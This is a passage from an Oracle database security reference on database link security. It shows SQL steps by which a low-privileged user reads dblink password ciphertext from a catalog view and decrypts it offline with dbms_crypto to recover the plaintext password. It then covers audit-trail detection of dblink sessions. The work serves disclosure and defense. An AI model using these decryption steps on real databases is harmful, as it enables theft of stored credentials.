Database Reference
In-Depth Information
Database Link Security
It has long been assumed that lack of public execute access on
dbms_crypto
has prevented malicious decryption of
dblinks, and that only SYS could select the dblink ciphertext. Both assumptions are incorrect, as shown below on 11.2.
SQL> CREATE USER DBLINKER IDENTIFIED BY LOWSEC;
User created.
SQL> GRANT SELECT_CATALOG_ROLE,CREATE SESSION TO DBLINKER;
Grant succeeded.
SQL> CONN DBLINKER/LOWSEC;
Connected.
SQL> SELECT PASSWORDX FROM SYS.KU$_DBLINK_VIEW;
PASSWORDX
--------------------------------------------------------------------------------
058CC531A7BBC08390C066B29CB2E26AF1
SQL> DESC DBMS_CRYPTO;
ERROR:
ORA-04043: object "SYS"."DBMS_CRYPTO" does not exist
Copy ciphertext to local DB controlled by attacker with executable dbms_crypto.
SQL> select utl_raw.cast_to_varchar2(dbms_crypto.decrypt((substr('
058CC531A7BBC08390C066B29CB2E26A
F1
',19)),4353, (substr('058CC531A7BBC08390C066B29CB2E26AF1',3,16)))) from dual;
UTL_RAW.CAST_TO_VARCHAR2(DBMS_CRYPTO.DECRYPT((SUBSTR('058CC531A7BBC08390C066B29C
--------------------------------------------------------------------------------
MYPW
On the positive side, Oracle has now annotated sessions using DBlinks with an identifier. DBLinks are not
specifically announced in
v$session,
but in more recent versions of Oracle are recorded as DBLinks in
SYS.AUD$.
COMMENT$TEXT.
This is from 11.2.0.1 to 11.2.0.2, as demonstrated in the following audit trail entries.
select userid, terminal, comment$text from sys.aud$ where comment$text like 'DBLINK%';
USERID NTIMESTAMP# COMMENT$TEXT
------------ ----------------- --------------
DBLINK_ACCOUNT 19-NOV-12 01.42.16.305194000 DBLINK_INFO: (SOURCE_GLOBAL_NAME=orcl.4294967295)
DBLINK_ACCOUNT 19-NOV-12 01.42.17.086395000 DBLINK_INFO: (SOURCE_GLOBAL_NAME=orcl.4294967295)
DBLINK_ACCOUNT 19-NOV-12 01.42.17.086856000 DBLINK_INFO: (SOURCE_GLOBAL_NAME=orcl.4294967295)
Note that
DBLINK_INFO
from
SYS_CONTEXT
is still
NULL
by default and is client-populated, as shown in the
following example. Thus, a secure trigger blocking all incoming dblinks is not feasible. However, a Native IPS alert
could be generated from the audit-trail entry above (see Chapter 6).
